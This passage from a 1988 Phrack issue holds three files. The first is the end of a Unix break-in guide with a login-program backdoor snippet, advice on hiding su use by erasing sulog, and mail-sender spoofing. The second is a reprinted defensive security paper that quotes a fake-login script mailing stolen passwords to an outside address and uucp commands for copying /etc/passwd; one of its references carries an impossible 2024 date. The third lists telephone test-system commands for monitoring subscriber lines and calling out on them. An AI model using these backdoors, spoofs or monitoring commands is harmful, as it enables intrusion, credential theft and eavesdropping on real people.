lasttimedone will be ran as that file's owner. Cron: in /usr/spool/cron/cronjobs, there are a list of people running cron jobs. Cat root's, and see if he runs any of the programs owned by you (Without doing a su xxx -c "xxx"). For matter, check all the crons. If you can take one system login, you should be able to get the rest, in time. -The disk files. These are rather odd. If you have read permission on the disks in /dev, then you can read any file on the system. All you have to do is find it in there somewhere. If the disk is writeable, if you use /etc/fsbd, you can modify any file on the system into whatever you want, such as by changing the permissions on /bin/sh to 4555. Since this is pretty difficult to understand (and I don't get it fully), then I won't bother with it any more. -Trivial su. You know with su you can log into anyone else's account if you know their passwords or if you're root. There are still a number of system 5's that have uid 0, null passwd, rsh accounts on them. Just be sure to remove your entry in /usr/adm/sulog. -Trojan horses? On Unix? Yes, but because of the shell variable PATH, we are generally out of luck, because it usually searches /bin and /usr/bin first. However, if the first field is a colon, files in the present directory are searched first. Which means if you put a modified version of 'ls' there, hey. If this isn't the case, you will have to try something more blatant, like putting it in a game (see Shooting Shark's file a while back). If you have a system login, you may be able to get something done like that. See cron. Taking over: Once you have root privs, you should read all the mail in /usr/mail, just to sure nothing interesting is up, or anyone is passing another systems passwds about. You may want to add another entry to the passwd file, but that's relatively dangerous to the life of your machine. Be sure not to have anything out of the ordinary as the entry (i.e., No uid 0). Get a copy of the login program (available at your nearest decent BBS, I hope) of that same version of Unix, and modify it a bit: on system 5, here's a modification pretty common: in the routine to check correct passwds, on the line before the actual pw check, put a if (!(strcmp(pswd,"woof"))) return(1); to check for your 'backdoor', enabling you to log on as any valid user that isn't uid 0 (On system 5). Neato things: -Have you ever been on a system that you couldn't get root or read the Systems/L.sys file? Well, this is a cheap way to overcome it: 'uuname' will list all machines reachable by your Unix, then (Assuming they aren't Direct, and the modem is available): $ cu -d host.you.want [or] $ uucico -x99 -r1 -shost.you.want Both will do about the same for us. This will fill your screen with lots of trivial material, but will eventually get to the point of printing the phone number to the other system. -d enables the cu diagnostics, -x99 enables the uucico highest debug, and -R1 says 'uucp master'. Back a year or two, almost everywhere had their uucp passwd set to the same thing as their nuucp passwd (Thanks to the Systems file), so it was a breeze getting in. Even nowadays, some places do it.. You never can tell. -Uucp: I personally don't like the uucp things. Uucico and uux are limited by the Permissions file, and in most cases, that means you can't do anything except get & take from the uucppublic dirs. Then again, if the permission/L.cmd is blank, you should be able to take what files that you want. I still don't like it. -Sending mail: Sometimes, the mail program checks only the shell var LOGNAME, so change it, export it, and you may be able to send mail as anyone. (Mainly early system 5's.) $ LOGNAME="root";export LOGNAME -Printing out all the files on the system: Useful if you're interested in the filenames. $ find / -print >file_list& And then do a 'grep text file_list' to find any files with 'text' in their names. Like grep [.]c file_list, grep host file_list.... -Printing out all restricted files: Useful when you have root. As a normal user, do: $ find / -print >/dev/null& This prints out all nonaccessable directories, so become root and see what they are hiding. -Printing out all the files in a directory: Better looking than ls -R: $ find . -print It starts at the present dir, and goes all the way down. Catches all '.files', too. -Rsh: Well in the case of having an account with rsh only, check your 'set'. If SHELL is not /bin/sh, and you are able to run anything with a shell escape (ex, ed, vi, write, mail...), you should be put into sh if you do a '!sh'. If you have write permission on your .profile, change it, because rsh is ran after checking profile. -Humor: On a system 5, do a: $ cat "food in cans" or on a csh, do: % hey unix, got a match? Well, I didn't say it was great. Password hacking: -Salt: In a standard /etc/passwd file, passwords are 13 characters long. This is an 11 char encrypted passwd and a 2 char encryption modifier (salt), which is used to change the des algorithm in one of 4096 ways. Which means there is no decent way to go and reverse hack it. Yet. On normal system 5 Unix, passwords are supposed to be 6-8 characters long and have both numeric and alphabetic characters in them, which makes a dictionary hacker pretty worthless. However, if a user keeps insisting his password is going to be 'dog,' usually the system will comply (depending on version). I have yet to try it, but having the hacker try the normal entry, and then the entry terminated by [0-9] is said to have remarkable results, if you don't mind the 10-fold increase in time. Final notes: Yes, I have left a lot out. That seems to be the rage nowadays.. If you have noticed something wrong, or didn't like this, feel free to tell me. If you can find me. ------------------------------------------------------------------------------- Hi Ho. Here ends part one. ------------------------------------------------------------------------------- Produced and directed by: Urvile & Necron 99 ----------------------------------------------------------- (c) ToK inc., 1988 ==Phrack Inc.== Volume Two, Issue 18, Phile #7 of 11 +--------------------------------------+ | "Unix System Security Issues" | | Typed by: | | Whisky | | (from Holland, Europe) | +--------------------------------------+ | From | | Information Age | | Vol. 11, Number 2, April 1988 | | Written By: | | Michael J. Knox and Edward D. Bowden | +--------------------------------------+ Note: This file was sent to me from a friend in Holland. I felt that it would be a good idea to present this file to the UNIX-hacker community, to show that hackers don't always harm systems, but sometimes look for ways to secure flaws in existing systems. -- Jester Sluggo !! There are a number of elements that have lead to the popularity of the Unix operating system in the world today. The most notable factors are its portability among hardware platforms and the interactive programming environment that it offers to users. In fact, these elements have had much to do with the successful evolution of the Unix system in the commercial market place. (1, 2) As the Unix system expands further into industry and government, the need to handle Unix system security will no doubt become imperative. For example, the US government is committing several million dollars a year for the Unix system and its supported hardware. (1) The security requirements for the government are tremendous, and one can only guess at the future needs of security in industry. In this paper, we will cover some of the more fundamental security risks in the Unix system. Discussed are common causes of Unix system compromise in such areas as file protection, password security, networking and hacker violations. In our conclusion, we will comment upon ongoing effects in Unix system security, and their direct influence on the portability of the Unix operating system. FILE AND DIRECTORY SECURITY In the Unix operating system environment, files and directories are organized in a tree structure with specific access modes. The setting of these modes, through permission bits (as octal digits), is the basis of Unix system security. Permission bits determine how users can access files and the type of access they are allowed. There are three user access modes for all Unix system files and directories: the owner, the group, and others. Access to read, write and execute within each of the usertypes is also controlled by permission bits (Figure 1). Flexibility in file security is convenient, but it has been criticized as an area of system security compromise. Permission modes OWNER GROUP OTHERS ------------------------------------------------------------ rwx : rwx : rwx ------------------------------------------------------------ r=read w=write x=execute -rw--w-r-x 1 bob csc532 70 Apr 23 20:10 file drwx------ 2 sam A1 2 May 01 12:01 directory FIGURE 1. File and directory modes: File shows Bob as the owner, with read and write permission. Group has write permission, while Others has read and execute permission. The directory gives a secure directory not readable, writeable, or executable by Group and Others. Since the file protection mechanism is so important in the Unix operating system, it stands to reason that the proper setting of permission bits is required for overall security. Aside from user ignorance, the most common area of file compromise has to do with the default setting of permission bits at file creation. In some systems the default is octal 644, meaning that only the file owner can write and read to a file, while all others can only read it. (3) In many "open" environments this may be acceptable. However, in cases where sensitive data is present, the access for reading by others should be turned off. The file utility umask does in fact satisfy this requirement. A suggested setting, umask 027, would enable all permission for the file owner, disable write permission to the group, and disable permissions for all others (octal 750). By inserting this umask command in a user .profile or .login file, the default will be overwritten by the new settings at file creation. The CHMOD utility can be used to modify permission settings on files and directories. Issuing the following command, chmod u+rwd,g+rw,g-w,u-rwx file will provide the file with the same protection as the umask above (octal 750). Permission bits can be relaxed with chmod at a later time, but at least initially, the file structure can be made secure using a restrictive umask. By responsible application of such utilities as umask and chmod, users can enhance file system security. The Unix system, however, restricts the security defined by the user to only owner, group and others. Thus, the owner of the file cannot designate file access to specific users. As Kowack and Healy have pointed out, "The granularity of control that (file security) mechanisms is often insufficient in practice (...) it is not possible to grant one user write protection to a directory while granting another read permission to the same directory. (4) A useful file security file security extension to the Unix system might be Multics style access control lists. With access mode vulnerabilities in mind, users should pay close attention to files and directories under their control, and correct permissions whenever possible. Even with the design limitations in mode granularity, following a safe approach will ensure a more secure Unix system file structure. SUID and SGID The set user id (suid) and set group id (sgid) identify the user and group ownership of a file. By setting the suid or sgid permission bits of an executable file, other users can gain access to the same resources (via the executable file) as that of the real file's owner. For Example: Let Bob's program bob.x be an executable file accessible to others. When Mary executes bob.x, Mary becomes the new program owner. If during program execution bob.x requests access to file browse.txt, then Mary must have previous read or write permission to browse.txt. This would allow Mary and everyone else total access to the contents of browse.txt, even when she is not running bob.x. By turning on the suid bit of bob.x, Mary will have the same access permissions to browse.txt as does the program's real owner, but she will only have access to browse.txt during the execution of bob.x. Hence, by incorporating suid or sgid, unwelcome browsers will be prevented from accessing files like browse.txt. Although this feature appears to offer substantial access control to Unix system files, it does have one critical drawback. There is always the chance that the superuser (system administrator) may have a writable file for others that is also set with suid. With some modification in the file's code (by a hacker), an executable file like this would enable a user to become a superuser. Within a short period of time this violator could completely compromise system security and make it inaccessible, even to other superusers. As Farrow (5) puts it, "(...) having a set-user-id copy of the shell owned by root is better than knowing the root password". To compensate for this security threat, writable suid files should be sought out and eliminated by the system administrator. Reporting of such files by normal users is also essential in correcting existing security breaches. DIRECTORIES Directory protection is commonly overlooked component of file security in the Unix system. Many system administrators and users are unaware of the fact, that "publicly writable directories provide the most opportunities for compromising the Unix system security" (6). Administrators tend to make these "open" for users to move around and access public files and utilities. This can be disastrous, since files and other subdirectories within writable directories can be moved out and replaced with different versions, even if contained files are unreadable or unwritable to others. When this happens, an unscrupulous user or a "password breaker" may supplant a Trojan horse of a commonly used system utility (e.g. ls, su, mail and so on). For example, imagine For example: Imagine that the /bin directory is publicly writable. The perpetrator could first remove the old su version (with rm utility) and then include his own fake su to read the password of users who execute this utility. Although writable directories can destroy system integrity, readable ones can be just as damaging. Sometimes files and directories are configured to permit read access by other. This subtle convenience can lead to unauthorized disclosure of sensitive data: a serious matter when valuable information is lost to a business competitor. As a general rule, therefore, read and write access should be removed from all but system administrative directories. Execute permission will allow access to needed files; however, users might explicitly name the file they wish to use. This adds some protection to unreadable and unwritable directories. So, programs like lp file.x in an unreadable directory /ddr will print the contents of file.x, while ls/ddr would not list the contents of that directory. PATH VARIABLE PATH is an environment variable that points to a list of directories, which are searched when a file is requested by a process. The order of that search is indicated by the sequence of the listed directories in the PATH name. This variable is established at user logon and is set up in the users .profile of .login file. If a user places the current directory as the first entry in PATH, then programs in the current directory will be run first. Programs in other directories with the same name will be ignored. Although file and directory access is made easier with a PATH variable set up this way, it may expose the user to pre-existing Trojan horses. To illustrate this, assume that a Trojan horse, similar to the cat utility, contains an instruction that imparts access privileges to a perpetrator. The fake cat is placed in a public directory /usr/his where a user often works. Now if the user has a PATH variable with the current directory first, and he enters the cat command while in /usr/his, the fake cat in /usr/his would be executed but not the system cat located in /bin. In order to prevent this kind of system violation, the PATH variable must be correctly set. First, if at all possible, exclude the current directory as the first entry in the PATH variable and type the full path name when invoking Unix system commands. This enhances file security, but is more cumbersome to work with. Second, if the working directory must be included in the PATH variable, then it should always be listed last. In this way, utilities like vi, cat, su and ls will be executed first from systems directories like /bin and /usr/bin before searching the user's working directory. PASSWORD SECURITY User authentication in the Unix system is accomplished by personal passwords. Though passwords offer an additional level of security beyond physical constraints, they lend themselves to the greatest area of computer system compromise. Lack of user awareness and responsibility contributes largely to this form of computer insecurity. This is true of many computer facilities where password identification, authentication and authorization are required for the access of resources - and the Unix operating system is no exception. Password information in many time-sharing systems are kept in restricted files that are not ordinarily readable by users. The Unix system differs in this respect, since it allows all users to have read access to the /etc/passwd file (FIGURE 2) where encrypted passwords and other user information are stored. Although the Unix system implements a one-way encryption method, and in most systems a modified version of the data encryption standard (DES), password breaking methods are known. Among these methods, brute-force attacks are generally the least effective, yet techniques involving the use of heuristics (good guesses and knowledge about passwords) tend to be successful. For example, the /etc/passwd file contains such useful information as the login name and comments fields. Login names are especially rewarding to the "password breaker" since many users will use login variants for passwords (backward spelling, the appending of a single digit etc.). The comment field often contains items such as surname, given name, address, telephone number, project name and so on. To quote Morris and Grampp (7) in their landmark paper on Unix system security: [in the case of logins] The authors made a survey of several dozen local machines, using as trial passwords a collection of the 20 most common female first names, each followed by a single digit. The total number of passwords tried was, therefore, 200. At least one of these 200 passwords turned out to be a valid password on every machine surveyed. [as for comment fields] (...) if an intruder knows something about the people using a machine, a whole new set of candidates is available. Family and friend's names, auto registration numbers, hobbies, and pets are particularly productive categories to try interactively in the unlikely event that a purely mechanical scan of the password file turns out to be disappointing. Thus, given a persistent system violator, there is a strong evidence, that he will find some information about users in the /etc/passwd file. With this in mind, it is obvious that a password file should be unreadable to everyone except those in charge of system administration. root:aN2z06ISmxKqQ:0:10:(Boss1),656-35-0989:/:/bin mike:9okduHy7sdLK8:09:122:No.992-3943:/usr:/bin FIGURE 2. The /etc/passwd file. Note the comments field as underlined terms. Resolution of the /etc/passwd file's readability does not entirely solve the basic problem with passwords. Educating users and administrators is necessary to assure proper password utilization. First, "good passwords are those that are at least six characters long, aren't based on personal information, and have some non-alphabetic (especially control) characters in them: 4score, my_name, luv2run" (8). Secondly, passwords should be changed periodically but users should avoid alternating between two passwords. Different passwords for different machines and files will aid in protecting sensitive information. Finally, passwords should never be available to unauthorized users. Reduction of user ignorance about poor password choice will inevitably make a system more secure. NETWORK SECURITY UUCP system The most common Unix system network is the UUCP system, which is a group of programs that perform the file transfers and command execution between remote systems. (3) The problem with the UUCP system is that users on the network may access other users' files without access permission. As stated by Nowitz (9), The uucp system, left unrestricted, will let any outside user execute commands and copy in/out any file that is readable/writable by a uucp login user. It is up to the individual sites to be aware of this, and apply the protections that they feel free are necessary. This emphasizes the importance of proper implementation by the system administrator. There are four UUCP system commands to consider when looking into network security with the Unix system. The first is uucp, a command used to copy files between two Unix systems. If uucp is not properly implemented by the system administrator, any outside user can execute remote commands and copy files from another login user. If the file name on another system is known, one could use the uucp command to copy files from that system to their system. For example: %uucp system2!/main/src/hisfile myfile will copy hisfile from system2 in the directory /main/src to the file myfile in the current local directory. If file transfer restrictions exist on either system, hisfile would not be sent. If there are no restrictions, any file could be copied from a remote user - including the password file. The following would copy the remote system /etc/passwd file to the local file thanks: %uucp system2!/etc/passwd thanks System administrators can address the uucp matter by restricting uucp file transfers to the directory /user/spool/uucppublic. (8) If one tries to transfer a file anywhere else, a message will be returned saying "remote access to path/file denied" and no file transfer will occur. The second UUCP system command to consider is the uux. Its function is to execute commands on remote Unix computers. This is called remote command execution and is most often used to send mail between systems (mail executes the uux command internally). The ability to execute a command on another system introduces a serious security problem if remote command execution is not limited. As an example, a system should not allow users from another system to perform the following: %uux "system1!cat/usr/spool/uucppublic" which would cause system1 to send its /etc/passwd file to the system2 uucp public directory. The user of system2 would now have access to the password file. Therefore, only a few commands should be allowed to execute remotely. Often the only command allowed to run uux is rmail, the restricted mail program. The third UUCP system function is the uucico (copy in / copy out) program. It performs the true communication work. Uucp or uux does not actually call up other systems; instead they are queued and the uucico program initiates the remote processes. The uucico program uses the file /usr/uucp/USERFILE to determine what files a remote system may send or receive. Checks for legal files are the basis for security in USERFILE. Thus the system administrator should carefully control this file. In addition, USERFILE controls security between two Unix systems by allowing a call-back flag to be set. Therefore, some degree of security can be achieved by requiring a system to check if the remote system is legal before a call-back occurs. The last UUCP function is the uuxqt. It controls the remote command execution. The uuxqt program uses the file /usr/lib/uucp/L.cmd to determine which commands will run in response to a remote execution request. For example, if one wishes to use the electronic mail feature, then the L.cmd file will contain the line rmail. Since uuxqt determines what commands will be allowed to execute remotely, commands which may compromise system security should not be included in L.cmd. CALL THE UNIX SYSTEM In addition to UUCP network commands, one should also be cautious of the cu command (call the Unix system). Cu permits a remote user to call another computer system. The problem with cu is that a user on a system with a weak security can use cu to connect to a more secure system and then install a Trojan horse on the stronger system. It is apparent that cu should not be used to go from a weaker system to a stronger one, and it is up to the system administrator to ensure that this never occurs. LOCAL AREA NETWORKS With the increased number of computers operating under the Unix system, some consideration must be given to local area networks (LANs). Because LANs are designed to transmit files between computers quickly, security has not been a priority with many LANs, but there are secure LANs under development. It is the job of the system manager to investigate security risks when employing LANs. OTHER AREAS OF COMPROMISE There are numerous methods used by hackers to gain entry into computer systems. In the Unix system, Trojan horses, spoofs and suids are the primary weapons used by trespassers. Trojan horses are pieces of code or shell scripts which usually assume the role of a common utility but when activated by an unsuspecting user performs some unexpected task for the trespasser. Among the many different Trojan horses, it is the su masquerade that is the most dangerous to the Unix system. Recall that the /etc/passwd file is readable to others, and also contains information about all users - even root users. Consider what a hacker could do if he were able to read this file and locate a root user with a writable directory. He might easily plant a fake su that would send the root password back to the hacker. A Trojan horse similar to this can often be avoided when various security measures are followed, that is, an etc/passwd file with limited read access, controlling writable directories, and the PATH variable properly set. A spoof is basically a hoax that causes an unsuspecting victim to believe that a masquerading computer function is actually a real system operation. A very popular spool in many computer systems is the terminal-login trap. By displaying a phoney login format, a hacker is able to capture the user's password. Imagine that a root user has temporarily deserted his terminal. A hacker could quickly install a login process like the one described by Morris and Grampp (7): echo -n "login:" read X stty -echo echo -n "password:" read Y echo "" stty echo echo %X%Y|mail outside|hacker& sleep 1 echo Login incorrect stty 0>/dev/tty We see that the password of the root user is mailed to the hacker who has completely compromised the Unix system. The fake terminal-login acts as if the user has incorrectly entered the password. It then transfers control over to the stty process, thereby leaving no trace of its existence. Prevention of spoofs, like most security hazards, must begin with user education. But an immediate solution to security is sometimes needed before education can be effected. As for terminal-login spoofs, there are some keyboard-locking programs that protect the login session while users are away from their terminals. (8, 10) These locked programs ignore keyboard-generated interrupts and wait for the user to enter a password to resume the terminal session. Since the suid mode has been previously examined in the password section, we merely indicate some suid solutions here. First, suid programs should be used is there are no other alternatives. Unrestrained suids or sgids can lead to system compromise. Second, a "restricted shell" should be given to a process that escapes from a suid process to a child process. The reason for this is that a nonprivileged child process might inherit privileged files from its parents. Finally, suid files should be writable only by their owners, otherwise others may have access to overwrite the file contents. It can be seen that by applying some basic security principles, a user can avoid Trojan horses, spoofs and inappropriate suids. There are several other techniques used by hackers to compromise system security, but the use of good judgement and user education may go far in preventing their occurrence. CONCLUSION Throughout this paper we have discussed conventional approaches to Unix system security by way of practical file management, password protection, and networking. While it can be argued that user education is paramount in maintaining Unix system security (11) factors in human error will promote some degree of system insecurity. Advances in protection mechanisms through better-written software (12), centralized password control (13) and identification devices may result in enhanced Unix system security. The question now asked applies to the future of Unix system operating. Can existing Unix systems accommodate the security requirements of government and industry? It appears not, at least for governmental security projects. By following the Orange Book (14), a government graded classification of secure computer systems, the Unix system is only as secure as the C1 criterion. A C1 system, which has a low security rating (D being the lowest) provides only discretionary security protection (DSP) against browsers or non-programmer users. Clearly this is insufficient as far as defense or proprietary security is concerned. What is needed are fundamental changes to the Unix security system. This has been recognized by at least three companies, AT&T, Gould and Honeywell (15, 16, 17). Gould, in particular, has made vital changes to the kernel and file system in order to produce a C2 rated Unix operating system. To achieve this, however, they have had to sacrifice some of the portability of the Unix system. It is hoped that in the near future a Unix system with an A1 classification will be realized, though not at the expense of losing its valued portability. REFERENCES 1 Grossman, G R "How secure is 'secure'?" Unix Review Vol 4 no 8 (1986) pp 50-63 2 Waite, M et al. "Unix system V primer" USA (1984) 3 Filipski, A and Hanko, J "Making Unix secure" Byte (April 1986) pp 113-128 4 Kowack, G and Healy, D "Can the holes be plugged?" Computerworld Vol 18 (26 September 2024) pp 27-28 5 Farrow, R "Security issues and strategies for users" Unix/World (April 1986) pp 65-71 6 Farrow, R "Security for superusers, or how to break the Unix system" Unix/World (May 1986) pp 65-70 7 Grampp, F T and Morris, R H "Unix operating system security" AT&T Bell Lab Tech. J. Vol 63 No 8 (1984) pp 1649-1672 8 Wood, P H and Kochan, S G "Unix system security" USA (1985) 9 Nowitz, D A "UUCP Implementation description: Unix programmer's manual Sec. 2" AT&T Bell Laboratories, USA (1984) 10 Thomas, R "Securing your terminal: two approaches" Unix/World (April 1986) pp 73-76 11 Karpinski, D "Security round table (Part 1)" Unix Review (October 1984) p 48 12 Karpinski, D "Security round table (Part 2)" Unix Review (October 1984) p 48 13 Lobel, J "Foiling the system breakers: computer security and access control" McGraw-Hill, USA (1986) 14 National Computer Security Center "Department of Defense trusted computer system evaluation criteria" CSC-STD-001-83, USA (1983) 15 Stewart, F "Implementing security under Unix" Systems&Software (February 1986) 16 Schaffer, M and Walsh, G "Lock/ix: An implementation of Unix for the Lock TCB" Proceedings of USENIX (1988) 17 Chuck, F "AT&T System 5/MLS Product 14 Strategy" AT&T Bell Labs, Government System Division, USA (August 1987) ============================================================================== ==Phrack Inc.== Volume Two, Issue 18, Phile #8 of 11 Control C and The Tribunal of Knowledge presents... LMOS (Loop Maintenance Operation System) -A List of Commands- This file contains what to our knowledge are the best things to do on LMOS. We were really vague due to the great power of the information provided in this file. You now know the commands so we will not go into (either in this file or when talking to us) how to use this information, it is up to you to figure out how to use it. +: Increase the voice volume on a line + lets you increase the volume when you are talking on or monitoring a sub-scriber's line over a callback path. The volume is increased because MLT adds amplifier to the line. + may be used after a mon, talk, rev, talkin or call request. Sometimes MLT adds an amplifier automatically to a long line. You will not know it is there so if you try to add amplification, a + will appear in the status sections but the voices will not get any louder because they are already loud as possible. -: Decrease the voice volume on a line - lets you decrease the volume when you are talking on or monitoring a subscriber's line over a callback path. The volume is decreased because MLT removes amplifier from the line. - may be used to remove amplifier that you have placed on the line with the + request, or amplifier that MLT has automatically places on a long line. The main reason to remove the amplifier is because it can sometimes cause a shrill or howl. Call: Make a call on a subscriber's line Call lets you use your touch-tone pad to dial any number you want using the customer's line circuit. It does this by simulating an off-hook condition in order to draw dial tone. A callback number is a required entry on the tv mask and an mdf access is required for calling out (except in SXS and panel offices). You can use a call when: 1) You want to know the TN for a known CA & PR - you would call TSPS or ANI. 2) Calls cannot be completed to a TN - you would call that TN. 3) To monitor dial tone on a customer's line. Callrd: Make a call on a dial pulse line circuit Callrd lets you use your touch-tone pad to dial using the customer's rotary dial line circuit. MLT does this by translating tones on a customer's line. mdf access is required for calling out (except in SXS, DMS10, DMS100, and DMS100AC offices). Use a callrd if you want to know the TN for a known CA & PR - you would call TSPS or ANI. Ccol: Collect coins using coin relay Ccol attempts to collect any coins that are in the hopper of a coin telephone set by operating the coin relay. Ccol does not check the totalizer or check the rest of the line. The results tell you only about relay operation, speed, and the current that is necessary to operate it. A ver code is not returned by ccol. You must have access to the line before your request ccol. You will use ccol most often when you are talking to a repair person who is trying to fix a coin phone. Channel: Run enhanced channel tests on DLC lines Chan or channel runs channel isolation tests and tells you if you have a bad COT or RT channel unit. Use this request to run enhanced channel tests on lines served by digital loop carriers such as SLC Series 5. Chan can only be run if there is special equipment in the co you're testing in. If you are testing a non-locally switched line with the SSA request, channel tests must be run separately with this request. Chan may also be used to run channel isolation tests on switched lines from the tv or stv mask, but these tests are included when you do a full or loop on a switched line. Change: Change status information Change allows you to change cable, pair or comment information that is displayed without having to request a test or any other type of information. the permanent line record information is not changed. To request a change, enter "change" in the req field of the tv and enter the change of information. Chome: Home totalizer on a coin telephone Chome attempts to return a totalizer to the starting position (home) for counting coins. The totalizer counts the coins and sends a tone back to the co for every 5 cents deposited. If it is not homed, coins can't be deposited. A chome request tells you whether the totalizer was homed, how many tones were sent to the co, and the current that was used to home the totalizer. A line must already be accessed to request a chome. Chome is often used when a repair person is trying to fix a coin telephone. Co: Test the central office equipment Co initiates a series of tests on the subscriber's line circuit. Co can be requested using either a no-test or an MDF trunk. A no-test access connects you to the entire loop but a co request tests only the inside portion. An MDF access is only connected to the inside portion of the loop. The outside portion is physically disconnected. Use a no-test access when you are fairly sure the trouble is inside the central office. Use a co on an MDF access when you are not sure where the trouble is. Coin: Test a coin telephone set Coin initiates a full series of tests on a telephone line. The station set, the totalizer, the coin relay, the loop and the co equipment are checked. If the coin request finds something wrong with either the totalizer or the relay, it stops testing and tells you the trouble is in the set. If it finds nothing wrong, it runs the full entries of tests. Coin may be used when a repair person is trying to fix a coin telephone. If a coin phone is newly installed, coin will check the set even though there is no line record. Cret: Operate coin relay to return coins Cret attempts to return any coins that may be lodged in the hopper of a coin telephone set. It operates the coin relay so that it will return the coins. It tries to return them 3 times before giving up. If it is successful, it also checks the speed of the relay. It does not check the totalizer or the rest of the line. You should have access to the line before you request a cret. You will use cret primarily when you are talking to a repair person who is trying to repair coin telephone. Cset: Check totalizer and relay in coinset Cset checks the totalizer and the coin relay in a coin telephone set. The totalizer is the mechanism in the phone that counts deposited coins and sends a tone back to the co for every 5 cents that is deposited. The relay is the mechanism that either returns or collects the coins that are deposited. Cset does not check the co or loop parts of the line. Cset can be used when you are talking to a repair person who is fixing a coin telephone. Dial: Test a subscriber's rotary dial Dial checks the subscriber's rotary dial. You must be in contact with the subscriber,either over a callback path or over a ddd line. For the dial request to work correctly, tell the subscriber to dial a "0" after hearing brief dial tone. The results of a dial request tell you whether the dial is okay or not, whether the dial speed is okay and what the speed is, and whether the break is okay and what the break is. Use the dial request when you suspect a problem with the telephone set. The trouble report could be "Can't call out' or 'Gets wrong numbers", for example. Dtout: Test a pbx line circuit Dtout initiates a series of tests on a pbx line circuit. Dtout must be requested using an MDF trunk. It is used to draw dial tone and check the arrangement of the pbx line circuit. Use dtout when you need to check the condition of special service circuits that do not use central office switches. Full: Test the entire telephone line Full starts a series of tests that do an extensive analysis of the entire line. This includes both the inside and outside portions. Many individual tests are run and the most important results are displayed in the summary message. Outside, MLT checks for AC and DC faults. Inside, it checks the line circuit and dial tone. The results may also include many other types of information about the line. You might request full line test when you first access a line or when you need to know a lot about a line. Grm: Get fast ground resistance measurement Grm gives you a quick measurement of the DC resistance of the ground path from the strap to the test hardware. Before you do a grm, have the repair person strap the tip and ring wires to ground. If this isn't done, grm will give you incorrect values. The line must be accessed before you do a grm request. You can use grm when you are talking to a repair person who is fixing a coinset. The resistance values obtained from a grm can be compared to old resistance values that are stored inside each coinset. Help: List the valid tv requests Help returns a list of all of the valid requests used in MLT-2. Help can be used when you are not sure which request to use in a particular situation, or when you can't remember an exact request name. For example, the correct entry to reverse polarity on a touch-tone line is "Rev.", help will tell you this. For a description of any specific request, enter the name of the request followed by a question mark. Info: Get general information about a line Info gives you the wire center name and the location of the frame; the exchange key, MDF group and MDF trunk numbers associated with the subscriber's line; the telephone number at the appropriate frame; and the assignment telephone number. You can get information about a whole telephone number, an NPA-NXX-, or an exchange key. MLT does not access the line when you request info, but it keeps access if you already have it. If there are multiple frames in an office, MLT give you information about all of them. Keep: Keep an access that you already have Keep lets you hold access to a no-test or MDF trunk that is about to "timeout." MLT keeps track of which trunks you have accessed but have not used for a while. MLT will automatically drop the access for you after a certain period of time. About 2 minutes before dropping the access, MLT gives you a warning message and also highlights the status line that will be dropped. If you want to keep the access, you should enter "keep" in the req field and the tn or line number of the access to be held. To drop an access when your are finished with it, enter an x in the req field. Lin: Test the inside part of the loop Lin starts a series of tests on the inside portion of a line. Lin includes the same tests as the loop test and can identify a co line circuit if one is present. Lin does not do the regular line circuit and draw and break dial tone tests. An MDF access is required for a lin request. You can use lin to test special circuit that do not use co switching machine. For example, if the circuit has 2 loops connected at the frame, lin lets you look at the second loop (both full and loop only test toward one loop). Lloop: Run the long loop analysis on the outside or loop part of a line The ll request starts a series of tests which do extensive analysis of the outside portion of the subscriber's line. It is specifically designed to handle cases that the regular loop request was not designed to handle. These cases include very long loops (over 100,000 feet) and multiparty lines on moderate-to-very-long loops. It does similar measurements to those that loop does, but analyzes the results differently. It expects to see a loop that has no dc faults or only very light dc faults. If you use a loop on lloop on a loop that has serious dc faults it will not do the long loop analysis. Loc1: Measure distance to 1-sided resistive fault Loc1 gets MLT to measure how far a one-sided fault is from the repair person, because telephone lines can be very long, it can be difficult for a repair person to find the location of a resistive fault. You can use loc1 to help the repair person have 1-sided fault. You should be in contact with the repair person on a line other than the one being measured. Have the repair person open the pr at a ready-access point beyond the fault if possible. Ask him/her to strap the pr tip to ring. Remember to enter a temperature on the tv mask before you transmit the loc1 request. Loc2: Measure distance to 2-sided resistive fault Loc2 gets MLT to measure how far a two-sided fault is from the repair person. Remember that you must run a locgp before you run a loc2 and that you must be in contact with the repair-person on a line other than the one you will be measuring. The repair-person must connect the bad pair to the good pair in a specific way, the exact method to use is explained in the results of the locgp request. Logcp and loc2 can also be used to sectionalize a one-sided resistive fault. Remember to enter a temperature on the tv mask before you transmit the loc2 request. Look: Look for an intentional fault Look is used to identify a fault, usually a short or ground, that has been placed on the line by the repair person. Look can be used when a repair person is having trouble locating a particular line. Look gets MLT to monitor the line that the repair person is looking for. When the repair person shorts or grounds the line, mlt sends a tone to you over your headset. You can tell the repair person that you "see the short". A callback path is required for a look request. You should talk to the repair person on a line other than the one you are working on. Lookin: Look for an intentional fault on a special services line Lookin is used to identify a fault, usually a short or ground, that has been placed on the special services line by the technician. Lookin is used to locate a particular line by having MLT monitor the line that the repair person is looking for. When the repair person shorts or grounds the line, MLT sends a tone to you over your headset. You can tell the repair person that you "See the short." A callback path is required for a lookin quest. You should talk to the repair person on a line other than the one you are working on. MDF access is required. Loop: Test the outside part of the loop Loop starts a series of tests that do an extensive analysis of the outside portion of the line. Loop does every test that full does except the line circuit and draw and break dial tone tests. Loop can be requested using either a no-test or an MDF trunk. A no-test access connects you to the entire line but a loop request tests only the outside portion. An MDF access is only connect to the outside portion. Use a no-test trunk when you are fairly sure the trouble is out of the co and an MDF when you are not sure. Lrm: Get fast loop resistance measurement lrm gives you a quick measurement of the DC resistance on a line. Lrm can't be run unless either the receiver is off-hook or the line is strapped tip to ring (an intentional short is placed on the line by the repair person). Also, MLT will not accept an lrm request if there is a hard ground on the line. Lrm does not access the line so you must already have access to do an lrm. You can use lrm when you are talking to a repair person who is fixing a coinset. The resistance values obtained from the lrm can be compared to the old resistance values that are stored inside each coinset. MDF(#): Access a specific MDF trunk MDF(#) lets you choose the MDF trunk that you want MLT to access. Use this request when an MDF trunk is connected to a telephone line at the MDF but is not connected to the loop testing system. This may occur in small offices where the frame attendant doesn't work for the entire day. You can also use this request when an MDF trunk has to be tested and repaired. The MDF entry must be a five character entry consisting of the wire center identifier and the trunk number. Mdf: Access a main distributing frame (MDF) MDF connects the mlt testing equipment to an MDF trunk. Before you can enter any requests, you must have the frame attendant connect the MDF trunk to the subscriber's line. Remember that MLT automatically accesses a no-test trunk unless you specifically request an MDF trunk. An MDF trunk goes directly from the loop testing system to the main distributing frame. Bypassing the central office switch. Using an MDF trunk allows you to test loops that are connect to co equipment that is not MLT-testable. Also, you can sectionalize a fault in or out of the co by testing "in" or "out" using MDF. MDF(gr): Access a trunk from a certain mdf trunk group MDF(gr) lets you choose the 